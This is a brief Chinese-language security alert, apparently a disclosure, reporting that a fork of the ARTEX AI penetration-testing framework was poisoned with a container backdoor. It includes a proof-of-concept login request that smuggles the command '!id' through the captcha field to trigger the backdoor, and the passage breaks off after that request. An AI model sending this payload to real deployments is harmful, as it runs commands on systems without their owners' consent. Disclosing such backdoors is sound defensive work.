知名渗透框架ARTEX仓库二开被后门投毒🌐 链接:

ARTEX 是一个基于大语言模型（LLM）多 Agent 协作的自主 AI 渗透测试框架，能够自动完成资产侦察、漏洞挖掘、攻击路径规划、工具执行和漏洞验证，实现端到端的自动化渗透测试。 简单来讲，一个 fork 了原始仓库的版本（原始仓库已删除），进行了容器投毒。 POC： POST /api/auth/login HTTP/1.1Host: Content-Type: application/json {"username": "x", "password": "y", "Captcha": "!id"}…